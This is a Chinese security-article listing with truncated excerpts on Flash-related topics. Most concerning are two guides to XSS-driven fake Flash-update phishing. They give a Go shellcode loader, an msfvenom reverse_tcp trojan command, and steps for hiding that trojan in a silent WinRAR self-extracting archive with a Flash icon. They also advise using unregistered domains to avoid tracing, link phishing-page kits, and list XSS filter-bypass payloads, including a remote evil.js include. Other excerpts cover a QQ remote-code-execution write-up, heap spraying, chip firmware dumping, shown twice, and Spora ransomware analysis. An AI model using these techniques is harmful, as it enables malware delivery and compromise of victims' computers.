网络攻防|XSS Flash弹窗钓鱼 安全文章

网络攻防|XSS Flash弹窗钓鱼

点击上方蓝字关注我们0x00 前言xss弹出flash更新是一种常见的钓鱼手法,本文介绍一下整体思路和部分技术细节。注意:任何未经授权的渗透都是违法行为,本文仅用于技术讨论,切勿用于违法途径前期准备服务器及域名flash页面免杀木马前提条件:目标网站存在存储型xss漏洞或者已经getshell能够修改源码,通过请求你插入的js代码触发flash升级弹窗,跳转到准备好的flash下载界面下载安装,触发木马上线cs。0x01 服务器及域名服务器任意注册即可,域名注册及CDN可参考我上篇文章 如何让自己的CobaltStrike服务器隐匿 ,最好选择未备案域名,以防溯源。可以到godaddy或者hostinger注册便宜的域名,可以选择一些与项目相关或者高可信度的域名。本文中可以选择带有adobe或flash等字符的域名,如下图所示:建议使用cloudflare的CDN,设置DNS生效后在SSL/TLS中创建证书并下载保存。在服务器中安装lnmp直接创建vhost主机:添加证书:此处选择1选项使用我们自己准备好的SSL证书和key。回车创建vhost。0x02 flash钓鱼页面这一步需要flash的弹窗和网页源码,github上有很多,例如:弹窗代码:Flash钓鱼弹窗版网站源码:Xss之Flash钓鱼全套还有很多其他类似的项目大家可以自己探索,不过现在flash cn网站的样式已经更新了:为了进一步增加可信度,可以直接扒官网的源码稍作修改就可以了,下载源码的方法这里不再赘述。将代码上传到网站目录下,重启nginx服务即可访问到钓鱼页面。0x03 免杀木马3.1 生成木马互联网上知名的免杀方案有很多,比如工具免杀:msf自免杀、Veil、Venom,代码免杀:C/C++、C#、python、powershell、go等,大家可以按照免杀效果或各自喜好来进行选择,这里为了方便演示使用go的加载器进行测试。package mainimport ( "encoding/base64" "fmt" "os" "syscall" "unsafe")var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool { ret, _, _ := procVirtualProtect.Call( uintptr(lpAddress), uintptr(dwSize), uintptr(flNewProtect), uintptr(lpflOldProtect)) return ret > 0}func Run(sc byte) { f := func() {} // Change permissions on f function ptr var oldfperms uint32 if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) { panic("Call to VirtualProtect failed!") } // Override function ptr **(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc)) // Change permissions on shellcode string data var oldshellcodeperms uint32 if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) { panic("Call to VirtualProtect failed!") } // Call the function...
阅读全文
XSS-Flash钓鱼 安全文章

XSS-Flash钓鱼

XSS简介        XSS,全称Cross Site Scripting,即跨站脚本攻击,是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据攻击代码的工作方式,XSS可以分为反射型的XSS、存储型的XSS和DOM型的XSS。1、反射型反射型的XSS是非持久化的,攻击者事先制作好攻击链接,需要欺骗用户自己去点击链接才能触发XSS代码,但是服务器中没有这样的页面和内容,一般容易出现在搜索页面2、储存型存储型的XSS是持久化的,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行。这种XSS非常危险,容易造成蠕虫,大量盗窃cookie。3、DOM型DOM型的XSS是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型一些常用的标签和属性scirpt 标签<script> 标签用于定义客户端脚本,比如 JavaScript。<script>alert(1);</script><script>alert("xss");</script>img 标签<img> 标签定义 HTML 页面中的图像。<img src=1 onerror=alert(1);><img src=1 onerror=alert("xss");>svg 标签<svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码。<svg onload=alert(1);>iframe 标签<iframe> 标签会创建包含另外一个文档的内联框架。<iframeonload=alert(1);></iframe>video 标签<video> 标签定义视频,比如电影片段或其他视频流。<video><sourceonerror=alert(1)>audio 标签<audio> 标签定义声音,比如音乐或其他音频流。<audiosrc=xonerror=alert(1);>textarea 标签<textarea> 标签定义一个多行的文本输入控件。<textareaonfocus=alert(1);autofocus>keygen 标签<keygenautofocusonfocus=alert(1)> //仅限火狐marquee 标签<marqueeonstart=alert(1)></marquee> //Chrome不行,火狐和IE都可以isindex 标签<isindextype=imagesrc=1onerror=alert(1)>//仅限于IE利用 link 远程包含 JavaScript 文件<link> 标签定义文档与外部资源的关系。在无CSP的情况下才可以使用:<link rel=import href="http://47.xxx.xxx.72/evil.js">利用 JavaScript 伪协议javascript: 这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。当浏览器装载了这样的URL时,并不会转向某个URL,而是执行这个URL中包含的javascript代码,并把最后一条javascript语句的字符串值作为新文档的内容显示出来。a 标签<ahref="javascript:alert(1);">xss</a>iframe 标签<iframesrc=javascript:alert(1);></iframe>img 标签<imgsrc=xonerror=alert(1)><imgsrc=javascript:alert(1)> //IE7以下form 标签<form action="Javascript:alert(1)"><input type=submit>常见的xss绕过姿势1、绕过空格过滤当空格被过滤了时,我们可以用 / 来代替空格:<img/src="x"/onerror=alert(1);>也可以:<img/src="x"onerror=alert(1);>2、绕过引号过滤如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:<imgsrc=xonerror=alert(`xss`);>3、绕过括号过滤当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。<imgsrc=xonerror="javascript:window.onerror=alert;throw1"><aonmouseover="javascript:window.onerror=alert;throw 1>4、绕过关键字过滤大小写绕过<sCRiPt>alert(1);</sCrIpT><ImGsRc=xonerRor=alert(1);>双写绕过有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过<scrscriptipt>alert(1);</scrscriptipt><imimggsrsrcc=xonerror=alert(1);>字符串拼接绕过利用eval()函数与PHP的eval()函数相同,JavaScript的eval()函数也可以计算 JavaScript 字符串,并把它作为脚本代码来执行。<imgsrc="x"onerror="a='aler';b='t';c='(1)';eval(a+b+c)"><imgsrc="x"onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">// 在js中,我们可以用反引号代替单双引号利用top<script>top(`xss`);</script><script>top("xss");</script>XSS输出点总结WAF最大的问题,在于不知道输出的位置,导致攻击者根据具体环境以及具体输出的标签类型便可以绕过。1、输出在属性里例如输出的位置位于value属性中:<inputvalue=""type=text>我们可以选择直接闭合标签:"><img src=x onerror=alert(1);>// 输出后如下:// <input value=""><img src=x onerror=alert(1);>" type=text>如果 < > 被过滤的话可以换成选择使用事件来闭合属性,并将后面的引号注释掉或闭合:" autofocus onfocus=alert(1)//" autofocus onfocus=alert(1) "// 输出后如下:// <input value="" autofocus onfocus=alert(1)//" type=text>同样还有很多其他的payload:" onmouseover=prompt(0) x="" onfocusin=alert(1) autofocus x="" onfocusout=alert(1) autofocus x="" onblur=alert(1) autofocus a="还有一些特殊的场景,如:<inputtype="hidden"value=""/><inputvalue=""type="hidden"/>这里只能把input标签闭合,然后直接执行脚本,否则会因为type为hidden导致无法执行2、输出在HTML标签之间例如输出的位置如下:<divid="body"></div>直接提交 <script>alert(1)</script> 即可触发XSS,但是当标签是不能执行脚本的标签时,如下面这几个:<title></title><textarea></textarea><xmp></xmp><iframe></iframe>那么就得先把那个标签闭合,然后在注入XSS语句,例如:</textarea><script>alert(1)</script>输出在script标签之间例如:<script>var x ="input";</script>可控位置在input,可以闭合script标签插入代码,但是同样我们仅仅闭合双引号就可以执行js代码了:";alert(1)//// 输出后如下:// <script>var x = "";alert(1)//";</script>Flash 弹窗钓鱼1、原理通过xss漏洞,弹出Flash更新请求诱使用户点击,使用户跳转到设置好的钓鱼页面(伪造好的Flash更新页面),下载伪造的Flash组件(木马程序)并执行,最终实现反弹Shell上线MSF,完成钓鱼攻击。2、环境:攻击机:centos7受害机:windows10漏洞环境:WeBug4.0Flash 官网源码3、winrar制作MSF捆绑木马msf生成木马msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=7777 -f exe > /root/test.exe3.1、Flash官网下载安装包与msf生成的木马文件放在同一个文件夹下3.2、鼠标右键,添加到压缩文件。点击创建自解压格式压缩文件。rar就会变成exe后缀的文件3.3、点击高级自解压选项,常规解压路径->绝对路径C:windowstemp3.4、设置提取后运行C:windowstemptest.exeC:windowstempflashplayerpp_install_cn.exe3.5、模式安静模式->全部隐藏3.6、更新更新方式->解压并更新文件覆盖方式->覆盖所有文件3.7、点击确定按钮,在点击确定按钮生成"新建文件夹.exe"3.8、修改文件名为flashplayer_install_cn.exe。这时候已经可以使用了,只是太丑。另一个神器出现“ResourceHacker”。通过ResourceHacker打开原版的flash安装程序,点击图标组文件夹中的文件,鼠标右键保存“*.ico资源”,即可导出ico图标。3.9、利用同样的方法打开制作好的钓鱼木马,找到“图标组”,鼠标右键,“替换图标”,选择导出的flash.ico,确认之后点击左上角的“文件”->“保存”即可。4、搭建Flash钓鱼页面首先我们需要在centos7上搭建一个钓鱼页面,需要下载Flash官方页面的源码进行修改。这里有两个项目可以选择项目一地址:https://github.com/Wileysec/adobe-flash-phishing-page该项目是模仿的 Flash Player 中文官网的页面:需要在index.html中的加入我们制作的木马的链接地址:项目二地址:https://github.com/r00tSe7en/Flash-Pop该项目是一个逼真的Flash更新提醒的弹窗,强迫症都会忍不住去点击下载的:我们使用第二种方式点击“立即升级”的这个按钮点击会下载我们提前准备好的 MSF 木马。如果管理员以为自己的 Flash 版本过低的话,可能会下载并运行这个木马。找到flash.js,搜索链接“https://www.se7ensec.cn/”,将其改为我们制作的木马的链接地址,然后保存即可:然后将伪造的Flash页面搭建在攻击机centos7的Web服务上:5、Docker搭建渗透测试靶场:webug4.0Webug4.0官方源码:https://github.com/wangai3176/webug4.0 Docker hub 上拉取镜像docker pull area39/webugdocker run -d...
阅读全文
原创 | Flash Dump技术解析 逆向工程

原创 | Flash Dump技术解析

作者 | 海康威视1、FlashDump技术概述2、Flash芯片拆焊2.1 芯片拆卸2.2 芯片焊接3、Flash数据读取3.1 修复数据错误3.2 去除ECC校验位4、固件解析一、Flash Dump技术概述固件指嵌入在硬件设备中的软件,固件分析是分析IoT设备软件层面安全性的主要手段。随着物联网安全得到重视,越来越多的厂商选择发布加密的固件升级包。这种改变让安全研究者也越来越难以从升级包中直接提取固件。安全研究者们因此将目光转向设备本身,尝试从设备中直接提取固件。从设备中提取固件的方式有很多,比如找到串口,通过uboot命令dump固件,甚至直接通过硬件调试口读取固件。但这些基于串口、基于调试的方法都不具备通用性,需要设备预留相关接口。固件一般存储在Flash芯片中,并且由于成本、性能等因素限制,一般都不会加密。因此直接从Flash芯片中读取固件即Flash Dump技术的通用性比较好,是进行IoT设备分析的关键技术。Flash Dump的流程可以分为四个部分,芯片拆卸、数据读取、固件提取和芯片焊接。这个过程会涉及到一些硬件知识和拆焊技能。从事固件分析的安全研究者一般具备较好的软件背景知识,但不一定了解硬件和焊接,而大多数Flash Dump技术文章对硬件相关技术点的介绍比较简略。本文希望填补这个空白,对FlashDump过程中涉及的硬件相关知识和焊接技能着重进行介绍。二、 Flash芯片拆焊Flash Dump技术的第一个难点,是如何在不损坏设备的前提下,对芯片进行拆焊。2.1.  芯片拆卸工具:热风枪、风嘴、高温胶带、镊子。芯片拆卸的核心工具是热风枪,如下图 2‑1所示。掌握热风枪的正确使用方法,才能够保证成功拆卸芯片。使用热风枪时需要注意两个要素:温度和风速。温度过高会导致器件损坏,温度过低无法融化焊锡。风速过高容易把器件吹跑,风嘴的角度不对也可能导致器件损坏。图2‑1快克957DW热风枪通常如果目标芯片使用含铅焊锡焊接,我们可以将热风枪的温度控制在330~350摄氏度之间,如果采用无铅焊锡,则将温度设置在350~370摄氏度。为了防止目标芯片周围的器件受到影响,我们可以使用高温胶带将周围的器件包裹起来,起到隔热保护的作用。需要注意的是,有的芯片对焊接温度有特殊要求,如下图 2‑2所示,对于这样的芯片我们需要以芯片手册为准。图2‑2对温度有特殊要求的QPX芯片风量的控制需要结合实际芯片的尺寸,以快克957DW热风枪为例,对于一般芯片可以采用风枪的3~4挡。风嘴也需要结合芯片的尺寸来进行选择,如果芯片较大就要选择较大一些的风嘴。做好了上述工作后,我们就可以启动热风枪,让风嘴在距离芯片2厘米左右的高度上均匀加热芯片,如下图 2‑3所示,等待焊锡融化后就可以用镊子把芯片取下来。图2‑3使用热风枪加热芯片2.2.  芯片焊接工具:焊台/电烙铁、烙铁头、锡条、热风枪、风嘴、助焊膏/助焊剂、高温胶带、镊子。在完成固件提取后,我们需要将芯片重新焊回。焊接芯片的主要工具是焊台/电烙铁和焊锡。常见的SOP封装芯片焊接过程可以分为三个步骤,固定芯片、拖焊、去除连锡。首先需要在芯片的一角打上焊锡,如下图 2‑4所示:图2‑4在芯片一角上锡然后用镊子放上芯片,并在对角打上焊锡固定芯片,如下图 2‑5所示:图2‑5固定芯片对角然后通过拖焊,将芯片引脚都打上焊锡,如下图 2‑6所示:图2‑6拖焊四边引脚这个时候会出现焊锡分布不均匀,把多个引脚粘连起来的情况,称为连锡。我们可以通过在出现连锡位置处加上助焊膏,如下图 2‑7所示:图2‑7添加助焊膏然后在用烙铁头加热焊锡并刮去连锡。由于焊接是一项实践性非常强的技能,这里只能就常见的情形进行简略的介绍。实操中还是需要结合实际,勤加练习,才能保证焊接的成功率。对于没有引脚的贴片元件,需要使用热风枪进行吹焊,操作方法和上一节拆卸芯片类似,这里不再详细介绍。三、Flash数据读取工具:多功能编程器、适配器。完成Flash芯片拆卸后,我们就可以开始读取Flash中存储的数据。这里我们需要用到多功能编程器和适配器。多功能编程器是用于读写各类存储器数据的专用工具,如下所示,一般需要配合适配器使用。图3‑1 TNM-5000编程器由于不同厂商、不同型号的Flash芯片会采用不同的封装,引脚数目也不相同,因此需要相应的适配器来适配芯片的引脚。图3‑2 TSOP48适配器在读取数据时,还可能需要对数据进行处理,比如修复错误数据以及去除ECC校验位。Flash芯片分为NorFlash和Nand Flash。如果目标芯片为NorFlash,则不需要考虑去除ECC校验位,可以直接进行固件解析,如果是Nand Flash则必须去除ECC校验位。下面两节详细介绍了,数据处理的方法和原理。3.1.  修复数据错误读取数据的过程中可能由于硬件问题或数据传输的原因(比特翻转),导致部分数据读取出错。因此需要多次读取,并校验读取结果。如果多次读取的内容一致,说明读取过程没有出现问题,如果多次读取的结果不一致,则需要对读取结果进行数据修复。由于这种数据出错是随机的,因此一般采用基于统计的方法修复错误数据。首先进行多次读取,并统计出所有变化的字节。这些字节在多次读取中出现频率最高的值,即为原始数据的值。3.2.  去除ECC校验位Nand Flash包含若干个块,一个块包含若干个页。由于电气特性的限制,Nand Flash是以页为单位读取,以块为单位擦写。Nand Flash在擦写过程中,氧化层结构会逐步被破坏,因此Nand Flash有擦写次数限制,擦写次数超出限额会形成坏块。IoT设备会在软件层面实现坏块管理,充分利用Nand Flash的存储空间,延长使用寿命。坏块管理一般使用ECC校验算法,ECC校验算法一般每256字节原始数据生成3字节校验数据,在Nand Flash上存储原始数据的同时会存储校验数据。由于ECC校验算法的使用,导致我们从Nand Flash中读出的数据混合了原始数据和校验数据。要想对固件进行正确的解析,必须去除这些校验数据。一般Nand Flash每页存储512字节原始数据,并分配16字节用于存储校验数据、坏块标记和文件系统信息,这16字节被称为spare area。但是原始数据和spare area的排布并不是固定的,常见的排布方式有两种,如下图 3‑3所示:图3‑3 Nand Flash校验数据排布原始数据和spare area的排布是由操作系统层面对Nand Flash读写的实现方式决定的,因此没有固定的标准。一般可以根据芯片手册,结合NandFlash页大小、spare area大小以及常见的排布形式进行尝试。五、固件解析工具:binwalk。经过前面几节的工作后,我们已经读取到Flash中的固件数据,可以尝试进行固件解析了。固件解析的常用工具是binwalk。固件解析的目标是提取出文件系统或操作系统镜像。基于Linux的IoT设备固件,可以使用binwalk直接提取出文件系统。因为binwalk对uboot镜像格式uImage以及常用的文件系统如ubifs、squashfs、jffs2、yaffs等有很好的支持。有些IoT设备或工控设备会使用ucos ii、vxworks等操作系统,这些操作系统可能并没有文件系统支持,而是直接以操作系统镜像的形式载入内存运行。我们依然可以使用binwalk做一些前期的分析。比如有些设备也会使用uboot做ucos ii的引导,找到uImage就可以找到操作系统镜像。此外由于大多数IoT设备是基于芯片厂商提供的系统和开发环境进行二次开发。如果能获取目标设备对应的芯片厂商文档,对提取操作系统镜像也会有帮助。转载请注明来源:关键基础设施安全应急响应中心 本文始发于微信公众号(关键基础设施安全应急响应中心):原创 | Flash Dump技术解析
阅读全文
wooyun-2015-0137693回顾||QQ远程代码执行 安全文章

wooyun-2015-0137693回顾||QQ远程代码执行

1. QQ秀是由FLASH来编写的2. 以前的QQ秀提供了一个叫做心情秀的功能3. 心情秀可以在Q秀上显示一段自定义文字,还可以改变文字颜色,这及有可能是在TextField中来显示的,并且这个TextField支持htmlText,那么是否可以插入一个img标签呢?如上图所示,可以发现并不能输入特殊字符?4. 然而,似乎只是在客户端做了过滤而已。。我们抓包看看。5. 数据被huffcompress算法压缩了,给JS代码下断点,然后修改原始的Q秀数据,提交,可以看到不论是客户端,还是WEB页面,都成功渲染了我们所填写的HTML代码。6. 接着,我们得试试被img标签嵌入的FLASH是否可以执行恶意代码呢?经测试AS2编写的FLASH才能成功执行,说明父级FLASH为AS2编写。7. getURL试试。成功打开pkav.net8. 然后。。9. 那么有哪些可以被用来调用的API呢?找到Q秀的主FLASH文件。10. 看到了有意思的API,是吧?执行个calc试试?11. 似乎还缺点什么12. 继续反编译另外一个Q秀的FLASH,看名字似乎胜利就在眼前。13. 分析一下这个函数的作用~14. 尝试调用一下这个download API。成功下载了一个文件,但是文件内容却不对。。Why ?抓包找一下原因。看来客户端实现的代码大概是这样(伪代码):15. 怎么办呢?团队的@sogili(长短短)同学提出的一个可能的解决方案,换行试试?16. 下载回的数据还是不对?继续抓包:似乎所有的r都不见了。。。17.为什么呢?上面是ExternalInterface.call的实际过程,推测“rn”可能是在拼接成XML数据之后被“格式化”为“标准”的 “n”。18. 为了避免这种情况,把rn改写成entity的形式,&#x0D;&#x0A;可是,参数在处理过程中,&会进行一次转义处理,依然不行。19. 是不是没办法了呢?我们把视线切换到 functionName,函数名未做任何过滤措施。20. 然后,我们闭合并构造XML。21. OK,这次我们的请求成功了。22. 到了这里,我们可以修改请求的host了,但是IP我们肯定没办法改掉了。我们找找看这个IP对应了多少域名23. 接着,我们的目标就是在这些域名下找到我们可以控制的资源。24. 最终,我们在b.qzone.qq.com下找到一个可以用来做bat的接口,注意值的双引号边界。这个接口在登录情况下,是需要csrftoken的,但是在未登录情况下访问,不需要token就可以直接返回数据,所以我们构造请求头时,并不需要带入cookie等信息。25. 最终:download API下载JSON为bat,在QQ默认安装情况下,下载文件的路径已知,openURL API指定程序路径进行执行。 本文始发于微信公众号(漏洞推送):wooyun-2015-0137693回顾||QQ远程代码执行
阅读全文
Flash漏洞利用基础 安全文章

Flash漏洞利用基础

1. flash interger vector喷射环境:Windows7+IE10/* 1a1b2000 fe 03 00 00 2c aa f8 c9 1a 1a 1a 1a 1a 1a 1a 1a ....,....0...... 1a1b2010 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ................ 1a1b2020 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ................ 1a1b2030 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ................ 1a1b2040 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a 1a ................ 1a1b2050 1a 1a 1a 1a 1a...
阅读全文
Flash Dump技术解析 逆向工程

Flash Dump技术解析

作者 | 海康威视1、FlashDump技术概述2、Flash芯片拆焊2.1 芯片拆卸2.2 芯片焊接3、Flash数据读取3.1 修复数据错误3.2 去除ECC校验位4、固件解析一、Flash Dump技术概述固件指嵌入在硬件设备中的软件,固件分析是分析IoT设备软件层面安全性的主要手段。随着物联网安全得到重视,越来越多的厂商选择发布加密的固件升级包。这种改变让安全研究者也越来越难以从升级包中直接提取固件。安全研究者们因此将目光转向设备本身,尝试从设备中直接提取固件。从设备中提取固件的方式有很多,比如找到串口,通过uboot命令dump固件,甚至直接通过硬件调试口读取固件。但这些基于串口、基于调试的方法都不具备通用性,需要设备预留相关接口。固件一般存储在Flash芯片中,并且由于成本、性能等因素限制,一般都不会加密。因此直接从Flash芯片中读取固件即Flash Dump技术的通用性比较好,是进行IoT设备分析的关键技术。Flash Dump的流程可以分为四个部分,芯片拆卸、数据读取、固件提取和芯片焊接。这个过程会涉及到一些硬件知识和拆焊技能。从事固件分析的安全研究者一般具备较好的软件背景知识,但不一定了解硬件和焊接,而大多数Flash Dump技术文章对硬件相关技术点的介绍比较简略。本文希望填补这个空白,对FlashDump过程中涉及的硬件相关知识和焊接技能着重进行介绍。二、 Flash芯片拆焊Flash Dump技术的第一个难点,是如何在不损坏设备的前提下,对芯片进行拆焊。2.1.  芯片拆卸工具:热风枪、风嘴、高温胶带、镊子。芯片拆卸的核心工具是热风枪,如下图 2‑1所示。掌握热风枪的正确使用方法,才能够保证成功拆卸芯片。使用热风枪时需要注意两个要素:温度和风速。温度过高会导致器件损坏,温度过低无法融化焊锡。风速过高容易把器件吹跑,风嘴的角度不对也可能导致器件损坏。图2‑1快克957DW热风枪通常如果目标芯片使用含铅焊锡焊接,我们可以将热风枪的温度控制在330~350摄氏度之间,如果采用无铅焊锡,则将温度设置在350~370摄氏度。为了防止目标芯片周围的器件受到影响,我们可以使用高温胶带将周围的器件包裹起来,起到隔热保护的作用。需要注意的是,有的芯片对焊接温度有特殊要求,如下图 2‑2所示,对于这样的芯片我们需要以芯片手册为准。图2‑2对温度有特殊要求的QPX芯片风量的控制需要结合实际芯片的尺寸,以快克957DW热风枪为例,对于一般芯片可以采用风枪的3~4挡。风嘴也需要结合芯片的尺寸来进行选择,如果芯片较大就要选择较大一些的风嘴。做好了上述工作后,我们就可以启动热风枪,让风嘴在距离芯片2厘米左右的高度上均匀加热芯片,如下图 2‑3所示,等待焊锡融化后就可以用镊子把芯片取下来。图2‑3使用热风枪加热芯片2.2.  芯片焊接工具:焊台/电烙铁、烙铁头、锡条、热风枪、风嘴、助焊膏/助焊剂、高温胶带、镊子。在完成固件提取后,我们需要将芯片重新焊回。焊接芯片的主要工具是焊台/电烙铁和焊锡。常见的SOP封装芯片焊接过程可以分为三个步骤,固定芯片、拖焊、去除连锡。首先需要在芯片的一角打上焊锡,如下图 2‑4所示:图2‑4在芯片一角上锡然后用镊子放上芯片,并在对角打上焊锡固定芯片,如下图 2‑5所示:图2‑5固定芯片对角然后通过拖焊,将芯片引脚都打上焊锡,如下图 2‑6所示:图2‑6拖焊四边引脚这个时候会出现焊锡分布不均匀,把多个引脚粘连起来的情况,称为连锡。我们可以通过在出现连锡位置处加上助焊膏,如下图 2‑7所示:图2‑7添加助焊膏然后在用烙铁头加热焊锡并刮去连锡。由于焊接是一项实践性非常强的技能,这里只能就常见的情形进行简略的介绍。实操中还是需要结合实际,勤加练习,才能保证焊接的成功率。对于没有引脚的贴片元件,需要使用热风枪进行吹焊,操作方法和上一节拆卸芯片类似,这里不再详细介绍。三、Flash数据读取工具:多功能编程器、适配器。完成Flash芯片拆卸后,我们就可以开始读取Flash中存储的数据。这里我们需要用到多功能编程器和适配器。多功能编程器是用于读写各类存储器数据的专用工具,如下所示,一般需要配合适配器使用。图3‑1 TNM-5000编程器由于不同厂商、不同型号的Flash芯片会采用不同的封装,引脚数目也不相同,因此需要相应的适配器来适配芯片的引脚。图3‑2 TSOP48适配器在读取数据时,还可能需要对数据进行处理,比如修复错误数据以及去除ECC校验位。Flash芯片分为NorFlash和Nand Flash。如果目标芯片为NorFlash,则不需要考虑去除ECC校验位,可以直接进行固件解析,如果是Nand Flash则必须去除ECC校验位。下面两节详细介绍了,数据处理的方法和原理。3.1.  修复数据错误读取数据的过程中可能由于硬件问题或数据传输的原因(比特翻转),导致部分数据读取出错。因此需要多次读取,并校验读取结果。如果多次读取的内容一致,说明读取过程没有出现问题,如果多次读取的结果不一致,则需要对读取结果进行数据修复。由于这种数据出错是随机的,因此一般采用基于统计的方法修复错误数据。首先进行多次读取,并统计出所有变化的字节。这些字节在多次读取中出现频率最高的值,即为原始数据的值。3.2.  去除ECC校验位Nand Flash包含若干个块,一个块包含若干个页。由于电气特性的限制,Nand Flash是以页为单位读取,以块为单位擦写。Nand Flash在擦写过程中,氧化层结构会逐步被破坏,因此Nand Flash有擦写次数限制,擦写次数超出限额会形成坏块。IoT设备会在软件层面实现坏块管理,充分利用Nand Flash的存储空间,延长使用寿命。坏块管理一般使用ECC校验算法,ECC校验算法一般每256字节原始数据生成3字节校验数据,在Nand Flash上存储原始数据的同时会存储校验数据。由于ECC校验算法的使用,导致我们从Nand Flash中读出的数据混合了原始数据和校验数据。要想对固件进行正确的解析,必须去除这些校验数据。一般Nand Flash每页存储512字节原始数据,并分配16字节用于存储校验数据、坏块标记和文件系统信息,这16字节被称为spare area。但是原始数据和spare area的排布并不是固定的,常见的排布方式有两种,如下图 3‑3所示:图3‑3 Nand Flash校验数据排布原始数据和spare area的排布是由操作系统层面对Nand Flash读写的实现方式决定的,因此没有固定的标准。一般可以根据芯片手册,结合NandFlash页大小、spare area大小以及常见的排布形式进行尝试。五、固件解析工具:binwalk。经过前面几节的工作后,我们已经读取到Flash中的固件数据,可以尝试进行固件解析了。固件解析的常用工具是binwalk。固件解析的目标是提取出文件系统或操作系统镜像。基于Linux的IoT设备固件,可以使用binwalk直接提取出文件系统。因为binwalk对uboot镜像格式uImage以及常用的文件系统如ubifs、squashfs、jffs2、yaffs等有很好的支持。有些IoT设备或工控设备会使用ucos ii、vxworks等操作系统,这些操作系统可能并没有文件系统支持,而是直接以操作系统镜像的形式载入内存运行。我们依然可以使用binwalk做一些前期的分析。比如有些设备也会使用uboot做ucos ii的引导,找到uImage就可以找到操作系统镜像。此外由于大多数IoT设备是基于芯片厂商提供的系统和开发环境进行二次开发。如果能获取目标设备对应的芯片厂商文档,对提取操作系统镜像也会有帮助。原文来源:关键基础设施安全应急响应中心 本文始发于微信公众号(网络安全应急技术国家工程实验室):Flash Dump技术解析
阅读全文
解码新型勒索病毒Spora ,通过IE、Flash漏洞等方式传播 逆向工程

解码新型勒索病毒Spora ,通过IE、Flash漏洞等方式传播

点击上方蓝字可以订阅哦转载:FreeBuf.COM一、综述近日,火绒实验室截获了一个新勒索病毒Spora,通过漏洞和诱骗方式传播,除了加密被感染电脑的本机文件外(doc/ppt/psd/jpg……等各种文件类型),还会加密局域网共享文件夹中的文件,然后弹出窗口,向受害者索取赎金。Spora利用漏洞和假冒网站弹窗传播。该病毒利用的第1个漏洞是IE漏洞,存在于IE9以上的浏览器版本中,该病毒利用的第2个漏洞是Flash漏洞。该病毒假冒的网站弹窗,模仿的是Chrome浏览器。因此,使用IE9/10/11、FlashPlayer和Chrome浏览器的用户要格外小心。该病毒团伙制造大量以假乱真的仿冒网站,通过百度、谷歌等搜索引擎去传播。一部分受害者在访问这些假冒网站时,Spora病毒通过漏洞进入用户电脑;另一部分受害者则是被这些假冒网站的Chrome浏览器弹窗所欺骗,这些弹窗谎称电脑缺少HoeflerText字体,并提示用户下载安装字体文件,所谓的字体文件就是病毒。火绒安全团队分析,Spora病毒未来可能会产生两种变化:首先,该病毒进入电脑经过两步,先下载病毒下载器,再由病毒下载器下载病毒,所以病毒团伙可以通过该病毒下载器下载各种新病毒。其次,病毒团伙制作仿冒网站时使用的是付费漏洞工具RIGEK,而RIGEK还提供其他多种服务,所以该勒索病毒可能会出现新的传播方式。广大火绒用户不用担心,“火绒安全软件”默认开启的监控功能即可拦截该病毒的下载,保持开启火绒软件即可完美地防御Spora病毒,同时“火绒安全软件”也完成了升级,可以彻底查杀清除该病毒。针对最近勒索软件层出不穷的状况,火绒实验室再次提醒广大用户,安装合格的安全软件是电脑的最基本安全措施,保持相应的安全设置和升级功能,可以有效防御勒索软件等各种恶性安全威胁。二、传播方式火绒近期截获到一组病毒样本,其通过如IE、FlashPlayer漏洞或者诱骗用户点击的方式进行恶意代码传播,其传播的恶意代码中包含有勒索病毒。1、漏洞传播病毒作者会将带有Flash漏洞或者IE漏洞的页面发布到互联网中,之后通过仿冒网址等手段,诱骗用户访问带有漏洞的网站页面。在触发漏洞后IE进程会启动wscript.exe执行恶意脚本,下载恶意代码到本地进行执行。如下图所示:触发漏洞经过对该漏洞页面进行解密之后,我们得到了一段JavaScript代码,如下图所示:JavaScript代码将变量“s”中的数据用Base64算法进行解密之后,可以得到VBScript代码,在其脚本代码中存放有一个动态库。如下图所示:VBScript代码VBScript代码中存放有一个动态库的二进制数据,根据其代码结构我们得知该报告中所提及的两个传播页面都是使用漏洞工具箱RigEK生成的。RigEK是一个专门制作钓鱼页面的渗透工具箱,工具箱会通过